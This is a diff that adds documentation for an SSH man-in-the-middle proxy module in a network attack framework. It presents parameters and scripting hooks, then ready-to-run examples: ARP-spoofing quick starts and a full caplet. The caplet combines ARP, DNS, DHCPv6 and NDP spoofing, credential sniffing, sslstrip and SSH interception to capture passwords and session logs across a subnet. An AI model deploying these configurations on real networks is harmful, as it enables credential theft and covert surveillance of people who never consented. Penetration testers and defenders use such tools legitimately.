|
| 1 | +--- |
| 2 | +title: ssh.proxy |
| 3 | +description: A SSH MITM proxy that intercepts SSH connections, logs authentication credentials and all plaintext session traffic, and forwards transparently to the real destination. |
| 4 | +--- |
| 5 | + |
| 6 | +A **SSH man-in-the-middle proxy** that transparently intercepts SSH connections. |
| 7 | +It presents its own host key to the client, captures plaintext credentials (password and public-key authentication attempts), logs all session data (commands, output), and forwards traffic to the real SSH destination. |
| 8 | + |
| 9 | +When used with a [spoofer](/modules/ethernet/spoofers/introduction/), all SSH traffic on the target port is redirected to this proxy automatically. |
| 10 | +On Linux the original destination is resolved via `SO_ORIGINAL_DST`; on macOS via the `pf` state table. |
| 11 | + |
| 12 | +## Commands |
| 13 | + |
| 14 | +### `ssh.proxy on` |
| 15 | + |
| 16 | +Start the SSH MITM proxy. |
| 17 | + |
| 18 | +### `ssh.proxy off` |
| 19 | + |
| 20 | +Stop the SSH MITM proxy. |
| 21 | + |
| 22 | +## Parameters |
| 23 | + |
| 24 | +| Parameter | Default | Description | |
| 25 | +| ------------------- | --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | |
| 26 | +| `ssh.address` | | Remote address to forward SSH connections to. Leave empty to auto-detect the original destination from the NAT table (Linux via `SO_ORIGINAL_DST`, macOS via `pf` state table). | |
| 27 | +| `ssh.port` | `22` | Remote SSH port to intercept. | |
| 28 | +| `ssh.proxy.address` | `<interface address>` | Address to bind the SSH proxy to. | |
| 29 | +| `ssh.proxy.port` | `2222` | Port to bind the SSH proxy to. | |
| 30 | +| `ssh.proxy.hostkey` | | Path to a PEM-encoded private key used as the proxy host key. If empty, an ephemeral ECDSA P-256 key is generated automatically. | |
| 31 | +| `ssh.proxy.script` | | Path of a SSH proxy JS script. | |
| 32 | + |
| 33 | +## Scripting |
| 34 | + |
| 35 | +The `ssh.proxy` module can be scripted using JavaScript files that may declare the following functions: |
| 36 | + |
| 37 | +```js |
| 38 | +// called when the script is loaded |
| 39 | +function onLoad() { |
| 40 | + // ... |
| 41 | +} |
| 42 | + |
| 43 | +// called when data is available on an SSH channel |
| 44 | +// sessionID: string like "1.2.3.4:12345->5.6.7.8:22[session]" |
| 45 | +// direction: "client->server" or "server->client" |
| 46 | +// data: ByteArray |
| 47 | +// return: modified ByteArray, or null/undefined to keep original |
| 48 | +function onSSHData(sessionID, direction, data) { |
| 49 | + log(sessionID + " " + direction + ": " + data.length + " bytes") |
| 50 | + // optionally modify and return the data buffer |
| 51 | + return data |
| 52 | +} |
| 53 | +``` |
| 54 | + |
| 55 | +## Builtin Functions |
| 56 | + |
| 57 | +The JS interpreter is [limited to ES5](https://github.com/robertkrimen/otto?tab=readme-ov-file#caveat-emptor) (no for/of, typed arrays, classes... ) |
| 58 | + |
| 59 | +Scripts can use the following builtin functions. |
| 60 | + |
| 61 | +| Function | Description | |
| 62 | +| ------------------------------------------- | ----------------------------------------------------------------------------- | |
| 63 | +| `readDir("/path/")` | Return the contents of a directory as a string array. | |
| 64 | +| `readFile("/path/to/file")` | Return the contents of a file as a string. | |
| 65 | +| `writeFile("/path/to/file", "hello world")` | Write the string `hello world` to a file, returns `null` or an error message. | |
| 66 | +| `log_debug("message")` | Log a message in the interactive session (its level will be `DEBUG`). | |
| 67 | +| `log_info("message")` | Log a message in the interactive session (its level will be `INFO`). | |
| 68 | +| `log_warn("message")` | Log a message in the interactive session (its level will be `WARNING`). | |
| 69 | +| `log_error("message")` | Log a message in the interactive session (its level will be `ERROR`). | |
| 70 | +| `log_fatal("message")` | Log a message in the interactive session (its level will be `FATAL`). | |
| 71 | +| `log("message")` | Shortcut for `log_info("message")`. | |
| 72 | +| `btoa("message")` | Encode a message to base64. | |
| 73 | +| `atob("bWVzc2FnZQ==")` | Decode a message from base64. | |
| 74 | +| `env("iface.ipv4")` | Read a variable. | |
| 75 | +| `env("foo", "bar")` | Set a variable. | |
| 76 | +| `run("command")` | Execute a shell command and return the output as a string. | |
| 77 | +| `fileExists("/path/to/file")` | Return `true` if the file exists, otherwise `false`. | |
| 78 | +| `loadJSON("/path/to/file.json")` | Load and parse a JSON file, returns a JS object. | |
| 79 | +| `saveJSON("/path/to/file.json", object)` | Serialize and save a JS object as JSON to the specified file. | |
| 80 | +| `saveToFile("/path.txt", "data")` | Save raw string data to a file. | |
| 81 | +| `onEvent("event.tag", callback)` | Register a JS callback for the given session event tag. | |
| 82 | +| `removeEventListener("event.tag")` | Remove a previously registered event listener for the given tag. | |
| 83 | +| `addSessionEvent("tag", data)` | Trigger a session event from within the script with a custom tag and payload. | |
| 84 | + |
| 85 | +## Examples |
| 86 | + |
| 87 | +### Quick start — intercept all SSH traffic on the LAN |
| 88 | + |
| 89 | +Enable full-duplex ARP spoofing and start the proxy. The original destination is resolved automatically per connection (Linux via `SO_ORIGINAL_DST`, macOS via `pf` state table): |
| 90 | + |
| 91 | +```bash |
| 92 | +set arp.spoof.fullduplex true |
| 93 | + |
| 94 | +set ssh.port 22 |
| 95 | +set ssh.proxy.port 2222 |
| 96 | + |
| 97 | +ssh.proxy on |
| 98 | +arp.spoof on |
| 99 | +``` |
| 100 | + |
| 101 | +### Quick start — intercept SSH to a single host |
| 102 | + |
| 103 | +```bash |
| 104 | +set ssh.address 192.168.1.10 |
| 105 | +set ssh.port 22 |
| 106 | +set ssh.proxy.port 2222 |
| 107 | + |
| 108 | +ssh.proxy on |
| 109 | +arp.spoof on |
| 110 | +``` |
| 111 | + |
| 112 | +### Full MITM caplet (`sshproxy.cap`) |
| 113 | + |
| 114 | +The `sshproxy.cap` caplet shipped with bettercap activates every available spoofer and proxy together for comprehensive network interception on both IPv4 and IPv6 with SSH MITM. |
| 115 | + |
| 116 | +**Usage:** |
| 117 | + |
| 118 | +```bash |
| 119 | +sudo bettercap -caplet sshproxy.cap |
| 120 | +# override the target subnet: |
| 121 | +sudo bettercap -caplet sshproxy.cap -eval "set arp.spoof.targets 192.168.1.0/24" |
| 122 | +``` |
| 123 | + |
| 124 | +> **Note:** Run as root. On Linux all features work. On macOS `packet.proxy` is unavailable and NDP/DHCPv6 have limited support. |
| 125 | +
|
| 126 | +```bash |
| 127 | +# sshproxy.cap — Comprehensive MITM caplet |
| 128 | +# |
| 129 | +# Activates every available spoofer and proxy to perform |
| 130 | +# full network interception on both IPv4 and IPv6 with SSH MITM. |
| 131 | + |
| 132 | +# =========================================================== |
| 133 | +# 1. NETWORK DISCOVERY |
| 134 | +# net.recon reads the ARP cache; net.probe actively sends |
| 135 | +# UDP probes (NBNS, mDNS, UPnP, WSD) to find every host. |
| 136 | +# =========================================================== |
| 137 | +set net.probe.nbns true |
| 138 | +set net.probe.mdns true |
| 139 | +set net.probe.upnp true |
| 140 | +set net.probe.wsd true |
| 141 | +set net.probe.throttle 10 |
| 142 | + |
| 143 | +net.recon on |
| 144 | +net.probe on |
| 145 | + |
| 146 | +# =========================================================== |
| 147 | +# 2. CREDENTIAL SNIFFER |
| 148 | +# Passive sniffing for cleartext credentials (HTTP, FTP, |
| 149 | +# NTLM, Kerberos, etc.) flowing through us. |
| 150 | +# =========================================================== |
| 151 | +set net.sniff.verbose false |
| 152 | +set net.sniff.local false |
| 153 | +net.sniff on |
| 154 | + |
| 155 | +# =========================================================== |
| 156 | +# 3. ARP SPOOFING (IPv4) |
| 157 | +# Full-duplex: poison both victim AND gateway ARP caches. |
| 158 | +# Targets the entire subnet by default; override with: |
| 159 | +# set arp.spoof.targets 192.168.1.50,192.168.1.51 |
| 160 | +# =========================================================== |
| 161 | +set arp.spoof.fullduplex true |
| 162 | +set arp.spoof.internal true |
| 163 | + |
| 164 | +# =========================================================== |
| 165 | +# 4. DNS SPOOFING |
| 166 | +# Respond to DNS queries with our address. By default |
| 167 | +# answers all queries (dns.spoof.all true). Set specific |
| 168 | +# domains with dns.spoof.domains if you want targeted use. |
| 169 | +# =========================================================== |
| 170 | +set dns.spoof.all true |
| 171 | +set dns.spoof.ttl 1024 |
| 172 | + |
| 173 | +# =========================================================== |
| 174 | +# 5. DHCPv6 SPOOFING (IPv6) |
| 175 | +# Reply to DHCPv6 solicitations to inject ourselves as |
| 176 | +# the DNS server for IPv6 clients (mitm6-style attack). |
| 177 | +# =========================================================== |
| 178 | +set dhcp6.spoof.domains microsoft.com, google.com, facebook.com, apple.com, twitter.com, github.com |
| 179 | + |
| 180 | +# =========================================================== |
| 181 | +# 6. NDP SPOOFING (IPv6) |
| 182 | +# Send spoofed Neighbor Advertisements and Router |
| 183 | +# Advertisements on IPv6 networks. Set ndp.spoof.targets |
| 184 | +# for specific victims, or leave empty for RA-only attack. |
| 185 | +# =========================================================== |
| 186 | +set ndp.spoof.prefix d00d:: |
| 187 | +set ndp.spoof.prefix.length 64 |
| 188 | +set ndp.spoof.router_lifetime 10 |
| 189 | + |
| 190 | +# =========================================================== |
| 191 | +# 7. HTTP PROXY with SSL STRIP |
| 192 | +# Intercept HTTP traffic and attempt to downgrade HTTPS |
| 193 | +# links to HTTP (sslstrip). JS injection is available via |
| 194 | +# http.proxy.injectjs if needed. |
| 195 | +# =========================================================== |
| 196 | +set http.proxy.sslstrip true |
| 197 | + |
| 198 | +# =========================================================== |
| 199 | +# 8. HTTPS PROXY |
| 200 | +# Intercept HTTPS traffic with on-the-fly certificate |
| 201 | +# generation. Victims will see certificate warnings unless |
| 202 | +# you install the CA cert on their machines. |
| 203 | +# =========================================================== |
| 204 | +set https.proxy.sslstrip true |
| 205 | + |
| 206 | +# =========================================================== |
| 207 | +# 9. SSH MITM PROXY |
| 208 | +# Intercept all SSH (port 22) traffic. The proxy presents |
| 209 | +# its own host key, captures plaintext credentials, and |
| 210 | +# logs all session data (commands, output) to stdout. |
| 211 | +# On Linux the original destination is auto-detected via |
| 212 | +# SO_ORIGINAL_DST; on macOS via pf state table lookup. |
| 213 | +# =========================================================== |
| 214 | +# ssh.address is left empty — auto-detect destination per connection |
| 215 | +set ssh.port 22 |
| 216 | +set ssh.proxy.port 2222 |
| 217 | + |
| 218 | +# =========================================================== |
| 219 | +# 10. ACTIVATE EVERYTHING |
| 220 | +# Order matters: start proxies first so the firewall |
| 221 | +# redirections are in place before spoofers push traffic |
| 222 | +# through us. |
| 223 | +# =========================================================== |
| 224 | +http.proxy on |
| 225 | +https.proxy on |
| 226 | +ssh.proxy on |
| 227 | + |
| 228 | +arp.spoof on |
| 229 | +dns.spoof on |
| 230 | +dhcp6.spoof on |
| 231 | +ndp.spoof on |
| 232 | + |
| 233 | +# The event stream is auto-started and will print all |
| 234 | +# captured credentials, SSH session logs, and module events |
| 235 | +# to stdout in real-time. |
| 236 | +``` |
0 commit comments